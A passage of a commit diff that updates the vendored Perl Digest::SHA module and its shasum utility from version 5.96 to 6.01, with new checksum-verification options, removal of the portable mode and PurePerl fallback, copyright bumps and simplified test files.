 only text files>, namely those passing Perl's I<-T> test; binary files
 are processed with no translation whatsoever.
 
-The "p" mode differs from "U" only in that it treats "\r\r\n" as a single
-newline, a quirky feature designed to accommodate legacy applications that
-occasionally added an extra carriage return before DOS line terminators.
-The "p" mode will be phased out eventually in favor of the cleaner and
-more well-established Universal Newlines concept.
-
 The BITS mode ("0") interprets the contents of I<$filename> as a logical
 stream of bits, where each ASCII '0' or '1' character represents a 0 or
 1 bit, respectively.  All other characters are ignored.  This provides
@@ -790,6 +784,7 @@
 	Sean Burke
 	Chris Carey
 	Alexandr Ciornii
+	Chris David
 	Jim Doble
 	Thomas Drugeon
 	Julius Duque
@@ -813,7 +808,7 @@
 
 =head1 COPYRIGHT AND LICENSE
 
-Copyright (C) 2003-2016 Mark Shelor
+Copyright (C) 2003-2017 Mark Shelor
 
 This library is free software; you can redistribute it and/or modify
 it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Digest-SHA/shasum
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/shasum	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/shasum	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,16 +2,15 @@
 
 	## shasum: filter for computing SHA digests (ref. sha1sum/md5sum)
 	##
-	## Copyright (C) 2003-2016 Mark Shelor, All Rights Reserved
+	## Copyright (C) 2003-2017 Mark Shelor, All Rights Reserved
 	##
-	## Version: 5.96
-	## Wed Jul 27 20:04:34 MST 2016
+	## Version: 6.01
+	## Mon Dec 25 00:08:08 MST 2017
 
 	## shasum SYNOPSIS adapted from GNU Coreutils sha1sum. Add
 	## "-a" option for algorithm selection,
-	## "-U" option for Universal Newlines support,
-	## "-0" option for reading bit strings, and
-	## "-p" option for portable digests (to be deprecated).
+	## "-U" option for Universal Newlines support, and
+	## "-0" option for reading bit strings.
 
 BEGIN { pop @INC if $INC[-1] eq '.' }
 
@@ -19,6 +18,7 @@
 use warnings;
 use Fcntl;
 use Getopt::Long;
+use Digest::SHA qw($errmsg);
 
 my $POD = <<'END_OF_POD';
 
@@ -35,6 +35,7 @@
    -a, --algorithm   1 (default), 224, 256, 384, 512, 512224, 512256
    -b, --binary      read in binary mode
    -c, --check       read SHA sums from the FILEs and check them
+       --tag         create a BSD-style checksum
    -t, --text        read in text mode (default)
    -U, --UNIVERSAL   read in Universal Newlines mode
                          produces same digest on Windows/Unix/Mac
@@ -42,11 +43,13 @@
                          ASCII '0' interpreted as 0-bit,
                          ASCII '1' interpreted as 1-bit,
                          all other characters ignored
-   -p, --portable    read in portable mode (to be deprecated)
 
- The following two options are useful only when verifying checksums:
-   -s, --status      don't output anything, status code shows success
-   -w, --warn        warn about improperly formatted checksum lines
+ The following five options are useful only when verifying checksums:
+       --ignore-missing  don't fail or report status for missing files
+   -q, --quiet           don't print OK for each successfully verified file
+   -s, --status          don't output anything, status code shows success
+       --strict          exit non-zero for improperly formatted checksum lines
+   -w, --warn            warn about improperly formatted checksum lines
 
    -h, --help        display this help and exit
    -v, --version     output version information and exit
@@ -59,8 +62,10 @@
  The sums are computed as described in FIPS PUB 180-4.  When checking,
  the input should be a former output of this program.  The default
  mode is to print a line with checksum, a character indicating type
- (`*' for binary, ` ' for text, `U' for UNIVERSAL, `^' for BITS, `?'
- for portable), and name for each FILE.
+ (`*' for binary, ` ' for text, `U' for UNIVERSAL, `^' for BITS),
+ and name for each FILE.  The line starts with a `\' character if the
+ FILE name contains either newlines or backslashes, which are then
+ replaced by the two-character sequences `\n' and `\\' respectively.
 
  Report shasum bugs to mshelor at cpan.org
 
@@ -92,18 +97,17 @@
 
 =head1 AUTHOR
 
-Copyright (c) 2003-2016 Mark Shelor <mshelor at cpan.org>.
+Copyright (c) 2003-2017 Mark Shelor <mshelor at cpan.org>.
 
 =head1 SEE ALSO
 
-I<shasum> is implemented using the Perl module L<Digest::SHA> or
-L<Digest::SHA::PurePerl>.
+I<shasum> is implemented using the Perl module L<Digest::SHA>.
 
 =cut
 
 END_OF_POD
 
-my $VERSION = "5.96";
+my $VERSION = "6.01";
 
 sub usage {
 	my($err, $msg) = @_;
@@ -130,8 +134,8 @@
 
 	## Collect options from command line
 
-my ($alg, $binary, $check, $text, $status, $warn, $help, $version);
-my ($portable, $BITS, $reverse, $UNIVERSAL, $versions);
+my ($alg, $binary, $check, $text, $status, $quiet, $warn, $help);
+my ($version, $BITS, $UNIVERSAL, $tag, $strict, $ignore_missing);
 
 eval { Getopt::Long::Configure ("bundling") };
 GetOptions(
@@ -138,12 +142,13 @@
 	'b|binary' => \$binary, 'c|check' => \$check,
 	't|text' => \$text, 'a|algorithm=i' => \$alg,
 	's|status' => \$status, 'w|warn' => \$warn,
+	'q|quiet' => \$quiet,
 	'h|help' => \$help, 'v|version' => \$version,
-	'p|portable' => \$portable,
 	'0|01' => \$BITS,
-	'R|REVERSE' => \$reverse,
 	'U|UNIVERSAL' => \$UNIVERSAL,
-	'V|VERSIONS' => \$versions,
+	'tag' => \$tag,
+	'strict' => \$strict,
+	'ignore-missing' => \$ignore_missing,
 ) or usage(1, "");
 
 
@@ -153,41 +158,36 @@
 	if $help;
 usage(1, "shasum: Ambiguous file mode\n")
 	if scalar(grep {defined $_}
-		($binary, $portable, $text, $BITS, $UNIVERSAL)) > 1;
+		($binary, $text, $BITS, $UNIVERSAL)) > 1;
 usage(1, "shasum: --warn option used only when verifying checksums\n")
 	if $warn && !$check;
 usage(1, "shasum: --status option used only when verifying checksums\n")
 	if $status && !$check;
+usage(1, "shasum: --quiet option used only when verifying checksums\n")
+	if $quiet && !$check;
+usage(1, "shasum: --ignore-missing option used only when verifying checksums\n")
+	if $ignore_missing && !$check;
+usage(1, "shasum: --strict option used only when verifying checksums\n")
+	if $strict && !$check;
+usage(1, "shasum: --tag does not support --text mode\n")
+	if $tag && $text;
+usage(1, "shasum: --tag does not support Universal Newlines mode\n")
+	if $tag && $UNIVERSAL;
+usage(1, "shasum: --tag does not support BITS mode\n")
+	if $tag && $BITS;
 
 
-	## Try to use Digest::SHA.  If not installed, use the slower
-	## but functionally equivalent Digest::SHA::PurePerl instead.
-
-	## If option -R is invoked, reverse the module preference,
-	## i.e. try Digest::SHA::PurePerl first, then Digest::SHA.
-
-my @MODS = qw(Digest::SHA Digest::SHA::PurePerl);
- at MODS[0, 1] = @MODS[1, 0] if $reverse;
-
-my $module;
-for (@MODS) {
-	my $mod = $_;
-	if (eval "require $mod") {
-		$module = $mod;
-		last;
-	}
-}
-die "shasum: Unable to find " . join(" or ", @MODS) . "\n"
-	unless defined $module;
-
-
 	## Default to SHA-1 unless overridden by command line option
 
+my %isAlg = map { $_ => 1 } (1, 224, 256, 384, 512, 512224, 512256);
 $alg = 1 unless defined $alg;
-grep { $_ == $alg } (1, 224, 256, 384, 512, 512224, 512256)
-	or usage(1, "shasum: Unrecognized algorithm\n");
+usage(1, "shasum: Unrecognized algorithm\n") unless $isAlg{$alg};
 
+my %Tag = map { $_ => "SHA$_" } (1, 224, 256, 384, 512);
+$Tag{512224} = "SHA512/224";
+$Tag{512256} = "SHA512/256";
 
+
 	## Display version information if requested
 
 if ($version) {
@@ -195,24 +195,16 @@
 	exit(0);
 }
 
-if ($versions) {
-	print "shasum $VERSION\n";
-	print "$module ", eval "\$${module}::VERSION", "\n";
-	print "perl ", defined $^V ? sprintf("%vd", $^V) : $], "\n";
-	exit(0);
-}
 
-
 	## Try to figure out if the OS is DOS-like.  If it is,
 	## default to binary mode when reading files, unless
 	## explicitly overridden by command line "--text" or
-	## "--UNIVERSAL" or "--portable" options.
+	## "--UNIVERSAL" options.
 
 my $isDOSish = ($^O =~ /^(MSWin\d\d|os2|dos|mint|cygwin)$/);
-if ($isDOSish) { $binary = 1 unless $text || $UNIVERSAL || $portable }
+if ($isDOSish) { $binary = 1 unless $text || $UNIVERSAL }
 
-my $modesym = $binary ? '*' : ($UNIVERSAL ? 'U' :
-		($BITS ? '^' : ($portable ? '?' : ' ')));
+my $modesym = $binary ? '*' : ($UNIVERSAL ? 'U' : ($BITS ? '^' : ' '));
 
 
 	## Read from STDIN (-) if no files listed on command line
@@ -225,10 +217,9 @@
 sub sumfile {
 	my $file = shift;
 
-	my $mode = $binary ? 'b' : ($UNIVERSAL ? 'U' :
-			($BITS ? '0' : ($portable ? 'p' : '')));
-	my $digest = eval { $module->new($alg)->addfile($file, $mode) };
-	if ($@) { warn "shasum: $file: $!\n"; return }
+	my $mode = $binary ? 'b' : ($UNIVERSAL ? 'U' : ($BITS ? '0' : ''));
+	my $digest = eval { Digest::SHA->new($alg)->addfile($file, $mode) };
+	if ($@) { warn "shasum: $file: $errmsg\n"; return }
 	$digest->hexdigest;
 }
 
@@ -246,7 +237,6 @@
 	$_ = shift;
 	s/\\\\/\0/g;
 	s/\\n/\n/g;
-	return if /\\/;
 	s/\0/\\/g;
 	return $_;
 }
@@ -257,8 +247,8 @@
 sub verify {
 	my $checkfile = shift;
 	my ($err, $fmt_errs, $read_errs, $match_errs) = (0, 0, 0, 0);
-	my ($num_lines, $num_files) = (0, 0);
-	my ($bslash, $sum, $fname, $rsp, $digest);
+	my ($num_fmt_OK, $num_OK) = (0, 0);
+	my ($bslash, $sum, $fname, $rsp, $digest, $isOK);
 
 	local *FH;
 	$checkfile eq '-' and open(FH, '< -')
@@ -266,38 +256,49 @@
 	or sysopen(FH, $checkfile, O_RDONLY)
 		or die "shasum: $checkfile: $!\n";
 	while (<FH>) {
-		next if /^#/; s/\n$//; s/^[ \t]+//; $num_lines++;
-		$bslash = s/^\\//;
-		($sum, $modesym, $fname) =
-			/^([\da-fA-F]+)[ \t]([ *?^U])([^\0]*)/;
-		$alg = defined $sum ? $len2alg{length($sum)} : undef;
-		$fname = unescape($fname) if defined $fname && $bslash;
-		if (grep { ! defined $_ } ($alg, $sum, $modesym, $fname)) {
-			$alg = 1 unless defined $alg;
+		next if /^#/;
+		if (/^[ \t]*\\?SHA/) {
+			$modesym = '*';
+			($bslash, $alg, $fname, $sum) =
+			/^[ \t]*(\\?)SHA(\S+) \((.+)\) = ([\da-fA-F]+)/;
+			$alg =~ tr{/}{}d if defined $alg;
+		}
+		else {
+			($bslash, $sum, $modesym, $fname) =
+			/^[ \t]*(\\?)([\da-fA-F]+)[ \t]([ *^U])(.+)/;
+			$alg = defined $sum ? $len2alg{length($sum)} : undef;
+		}
+		if (grep { ! defined $_ } ($alg, $sum, $modesym, $fname) or
+			! $isAlg{$alg}) {
 			warn("shasum: $checkfile: $.: improperly " .
-				"formatted SHA$alg checksum line\n") if $warn;
+				"formatted SHA checksum line\n") if $warn;
 			$fmt_errs++;
+			$err = 1 if $strict;
 			next;
 		}
-		$fname =~ s/\r$// unless -e $fname;
-		$rsp = "$fname: "; $num_files++;
-		($binary, $text, $UNIVERSAL, $BITS, $portable) =
-			map { $_ eq $modesym } ('*', ' ', 'U', '^', 'p');
+		$num_fmt_OK++;
+		$fname = unescape($fname) if $bslash;
+		next if $ignore_missing && ! -e $fname;
+		$rsp = "$fname: ";
+		($binary, $text, $UNIVERSAL, $BITS) =
+			map { $_ eq $modesym } ('*', ' ', 'U', '^');
+		$isOK = 0;
 		unless ($digest = sumfile($fname)) {
 			$rsp .= "FAILED open or read\n";
 			$err = 1; $read_errs++;
 		}
-		else {
-			if (lc($sum) eq $digest) { $rsp .= "OK\n" }
-			else { $rsp .= "FAILED\n"; $err = 1; $match_errs++ }
+		elsif (lc($sum) eq $digest) {
+			$rsp .= "OK\n";
+			$isOK = 1;
+			$num_OK++;
 		}
-		print $rsp unless $status;
+		else { $rsp .= "FAILED\n"; $err = 1; $match_errs++ }
+		print $rsp unless ($status || ($quiet && $isOK));
 	}
 	close(FH);
-	unless ($num_files) {
-		$alg = 1 unless defined $alg;
+	if (! $num_fmt_OK) {
 		warn("shasum: $checkfile: no properly formatted " .
-			"SHA$alg checksum lines found\n");
+			"SHA checksum lines found\n");
 		$err = 1;
 	}
 	elsif (! $status) {
@@ -308,6 +309,11 @@
 		warn("shasum: WARNING: $match_errs computed checksum" .
 		($match_errs>1?'s':'') . " did NOT match\n") if $match_errs;
 	}
+	if ($ignore_missing && ! $num_OK && $num_fmt_OK) {
+		warn("shasum: $checkfile: no file was verified\n")
+			unless $status;
+		$err = 1;
+	}
 	return($err == 0);
 }
 
@@ -315,7 +321,6 @@
 	## Verify or compute SHA checksums of requested files
 
 my($file, $digest);
-
 my $STATUS = 0;
 for $file (@ARGV) {
 	if ($check) { $STATUS = 1 unless verify($file) }
@@ -322,10 +327,11 @@
 	elsif ($digest = sumfile($file)) {
 		if ($file =~ /[\n\\]/) {
 			$file =~ s/\\/\\\\/g; $file =~ s/\n/\\n/g;
-			$digest = "\\$digest";
+			print "\\";
 		}
-		print "$digest $modesym", "$file\n";
+		unless ($tag) { print "$digest $modesym$file\n" }
+		else          { print "$Tag{$alg} ($file) = $digest\n" }
 	}
 	else { $STATUS = 1 }
 }
-exit($STATUS)
+exit($STATUS);

Modified: vendor/perl/dist/cpan/Digest-SHA/src/sha.c
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/src/sha.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/src/sha.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,10 +3,10 @@
  *
  * Ref: NIST FIPS PUB 180-4 Secure Hash Standard
  *
- * Copyright (C) 2003-2016 Mark Shelor, All Rights Reserved
+ * Copyright (C) 2003-2017 Mark Shelor, All Rights Reserved
  *
- * Version: 5.96
- * Wed Jul 27 20:04:34 MST 2016
+ * Version: 6.01
+ * Mon Dec 25 00:08:08 MST 2017
  *
  */
 

Modified: vendor/perl/dist/cpan/Digest-SHA/src/sha.h
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/src/sha.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/src/sha.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,10 +3,10 @@
  *
  * Ref: NIST FIPS PUB 180-4 Secure Hash Standard
  *
- * Copyright (C) 2003-2016 Mark Shelor, All Rights Reserved
+ * Copyright (C) 2003-2017 Mark Shelor, All Rights Reserved
  *
- * Version: 5.96
- * Wed Jul 27 20:04:34 MST 2016
+ * Version: 6.01
+ * Mon Dec 25 00:08:08 MST 2017
  *
  */
 

Modified: vendor/perl/dist/cpan/Digest-SHA/src/sha64bit.c
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/src/sha64bit.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/src/sha64bit.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,10 +3,10 @@
  *
  * Ref: NIST FIPS PUB 180-4 Secure Hash Standard
  *
- * Copyright (C) 2003-2016 Mark Shelor, All Rights Reserved
+ * Copyright (C) 2003-2017 Mark Shelor, All Rights Reserved
  *
- * Version: 5.96
- * Wed Jul 27 20:04:34 MST 2016
+ * Version: 6.01
+ * Mon Dec 25 00:08:08 MST 2017
  *
  */
 

Modified: vendor/perl/dist/cpan/Digest-SHA/src/sha64bit.h
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/src/sha64bit.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/src/sha64bit.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,10 +3,10 @@
  *
  * Ref: NIST FIPS PUB 180-4 Secure Hash Standard
  *
- * Copyright (C) 2003-2016 Mark Shelor, All Rights Reserved
+ * Copyright (C) 2003-2017 Mark Shelor, All Rights Reserved
  *
- * Version: 5.96
- * Wed Jul 27 20:04:34 MST 2016
+ * Version: 6.01
+ * Mon Dec 25 00:08:08 MST 2017
  *
  * The following macros supply placeholder values that enable the
  * sha.c module to successfully compile when 64-bit integer types

Modified: vendor/perl/dist/cpan/Digest-SHA/t/allfcns.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/allfcns.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/allfcns.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,30 +1,16 @@
 use strict;
+use Digest::SHA qw(
+	hmac_sha1	hmac_sha1_base64	hmac_sha1_hex
+	hmac_sha224	hmac_sha224_base64	hmac_sha224_hex
+	hmac_sha256	hmac_sha256_base64	hmac_sha256_hex
+	hmac_sha384	hmac_sha384_base64	hmac_sha384_hex
+	hmac_sha512	hmac_sha512_base64	hmac_sha512_hex
+	sha1		sha1_base64		sha1_hex
+	sha224		sha224_base64		sha224_hex
+	sha256		sha256_base64		sha256_hex
+	sha384		sha384_base64		sha384_hex
+	sha512		sha512_base64		sha512_hex);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(
-		hmac_sha1	hmac_sha1_base64	hmac_sha1_hex
-		hmac_sha224	hmac_sha224_base64	hmac_sha224_hex
-		hmac_sha256	hmac_sha256_base64	hmac_sha256_hex
-		hmac_sha384	hmac_sha384_base64	hmac_sha384_hex
-		hmac_sha512	hmac_sha512_base64	hmac_sha512_hex
-		sha1		sha1_base64		sha1_hex
-		sha224		sha224_base64		sha224_hex
-		sha256		sha256_base64		sha256_hex
-		sha384		sha384_base64		sha384_hex
-		sha512		sha512_base64		sha512_hex));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 print "1..1\n";
 
 print "ok 1\n";

Modified: vendor/perl/dist/cpan/Digest-SHA/t/base64.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/base64.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/base64.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,21 +1,7 @@
 use strict;
+use Digest::SHA qw(sha1_base64 sha224_base64 sha256_base64
+	sha384_base64 sha512_base64);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(sha1_base64 sha224_base64 sha256_base64
-		sha384_base64 sha512_base64));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my $in = "abc";
 my @out = map { eval } <DATA>;
 my @fcn = (\&sha1_base64, \&sha224_base64, \&sha256_base64,

Modified: vendor/perl/dist/cpan/Digest-SHA/t/bitbuf.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/bitbuf.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/bitbuf.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,20 +1,6 @@
 use strict;
+use Digest::SHA;
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw());
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my $numtests = 4;
 print "1..$numtests\n";
 
@@ -23,7 +9,7 @@
 my $ONEBITS = pack("B*", "1" x 80000);
 my $digest = "11003389959355c2773af6b0f36d842fe430ec49";
 
-my $state = $MODULE->new("sHa1");
+my $state = Digest::SHA->new("sHa1");
 my $testnum = 1;
 
 $state->add_bits($ONEBITS, 80000);
@@ -44,7 +30,7 @@
 
 	# create a buffer-alignment nuisance
 
-$state = $MODULE->new("1");
+$state = Digest::SHA->new("1");
 
 $state->add_bits($ONEBITS, 1);
 for (1 .. 99) {
@@ -60,7 +46,7 @@
 my $reps = 80000;
 my $maxbits = 8 * 127;
 
-$state = $MODULE->new(1);
+$state = Digest::SHA->new(1);
 
 while ($reps > $maxbits) {
 	my $num = int(rand($maxbits));

Modified: vendor/perl/dist/cpan/Digest-SHA/t/bitorder.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/bitorder.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/bitorder.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,29 +1,18 @@
 use strict;
+use Digest::SHA;
 
-my $MODULE;
+my $numtests = 2;
+print "1..$numtests\n";
 
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw());
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
-my $s1 = $MODULE->new;
-my $s2 = $MODULE->new;
+my $testnum = 1;
+my $s1 = Digest::SHA->new;
+my $s2 = Digest::SHA->new;
 my $d1 = $s1->add_bits("110")->hexdigest;
 my $d2 = $s2->add_bits("1")->add_bits("1")->add_bits("0")->hexdigest;
+print "not " unless $d1 eq $d2;
+print "ok ", $testnum++, "\n";
 
-my $numtests = 1;
-print "1..$numtests\n";
-
-for (1 .. $numtests) {
-	print "not " unless $d1 eq $d2;
-	print "ok ", $_, "\n";
-}
+$d1 = $s1->add_bits("111100001010")->hexdigest;
+$d2 = $s2->add_bits("\xF0\xA0", 12)->hexdigest;
+print "not " unless $d1 eq $d2;
+print "ok ", $testnum++, "\n";

Modified: vendor/perl/dist/cpan/Digest-SHA/t/fips180-4.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/fips180-4.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/fips180-4.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,22 +1,7 @@
 use strict;
+use Digest::SHA qw(sha512_hex sha512224_hex sha512256_hex);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(sha512_hex sha512224_hex sha512256_hex));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my @vecs = map { eval } <DATA>;
-# $#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl";
 
 my $numtests = scalar(@vecs) / 2;
 print "1..$numtests\n";

Modified: vendor/perl/dist/cpan/Digest-SHA/t/fips198.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/fips198.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/fips198.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,20 +1,6 @@
 use strict;
+use Digest::SHA qw(hmac_sha1_hex);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(hmac_sha1_hex));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my @data = map { "Sample #$_" } (1 .. 4);
 
 my @out = (

Modified: vendor/perl/dist/cpan/Digest-SHA/t/gg.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/gg.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/gg.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,22 +1,8 @@
 # Test against short bitwise vectors from Jim Gillogly and Francois Grieu
 
 use strict;
+use Digest::SHA;
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw());
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 #	SHA-1 Test Vectors
 #
 #	In the following we use the notation bitstring#n to mean a bitstring
@@ -57,7 +43,7 @@
 print "1..$numtests\n";
 
 my $testnum = 1;
-my $sha = $MODULE->new(1);
+my $sha = Digest::SHA->new(1);
 
 while (@vecs) {
 	my $frag = shift @vecs;

Modified: vendor/perl/dist/cpan/Digest-SHA/t/gglong.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/gglong.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/gglong.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,22 +1,8 @@
 # Test against long bitwise vectors from Jim Gillogly and Francois Grieu
 
 use strict;
+use Digest::SHA;
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw());
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 #	SHA-1 Test Vectors
 #
 #	In the following we use the notation bitstring#n to mean a bitstring
@@ -57,7 +43,7 @@
 my $testnum = 1;
 print "1..", scalar(@vec110)/2 + scalar(@vec011)/2, "\n";
 
-my $state110 = $MODULE->putstate($STATE110);
+my $state110 = Digest::SHA->putstate($STATE110);
 while (@vec110) {
 	my $state = $state110->clone;
 	$state->add_bits(shift @vec110);
@@ -65,7 +51,7 @@
 	print "ok ", $testnum++, "\n";
 }
 
-my $state011 = $MODULE->putstate($STATE011);
+my $state011 = Digest::SHA->putstate($STATE011);
 while (@vec011) {
 	my $state = $state011->clone;
 	$state->add_bits(shift @vec011);

Modified: vendor/perl/dist/cpan/Digest-SHA/t/hmacsha.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/hmacsha.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/hmacsha.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,22 +1,8 @@
 # HMAC-SHA-256 test vectors from draft-ietf-ipsec-ciph-sha-256-01.txt
 
 use strict;
+use Digest::SHA qw(hmac_sha256 hmac_sha256_hex);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(hmac_sha256 hmac_sha256_hex));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my @data = map { eval } <DATA>;
 
 my $numtests = scalar @data;

Modified: vendor/perl/dist/cpan/Digest-SHA/t/inheritance.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/inheritance.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/inheritance.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,25 +1,11 @@
 # Adapted from script by Mark Lawrence (ref. rt.cpan.org #94830)
 
 use strict;
+use Digest::SHA qw(sha1);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(sha1));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 package P1;
 use vars qw(@ISA);
- at ISA = ($MODULE);
+ at ISA = ("Digest::SHA");
 
 package main;
 

Modified: vendor/perl/dist/cpan/Digest-SHA/t/ireland.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/ireland.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/ireland.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,31 +1,17 @@
-use strict;
-
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw());
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 # David Ireland's test vector - SHA-256 digest of "a" x 536870912
 
 # Adapted from Julius Duque's original script (t/24-ireland.tmp)
 #	- modified to use state cache via putstate method
 
+use strict;
+use Digest::SHA;
+
 print "1..1\n";
 
 my $rsp = "b9045a713caed5dff3d3b783e98d1ce5778d8bc331ee4119d707072312af06a7";
 
 my $sha;
-if ($sha = $MODULE->putstate(join('', <DATA>))) {
+if ($sha = Digest::SHA->putstate(join('', <DATA>))) {
 	$sha->add("aa");
 	print "not " unless $sha->hexdigest eq $rsp;
 	print "ok 1\n";

Modified: vendor/perl/dist/cpan/Digest-SHA/t/methods.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/methods.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/methods.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,27 +1,13 @@
 use strict;
 use FileHandle;
+use Digest::SHA;
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw());
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my @out = (
 	"ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0",
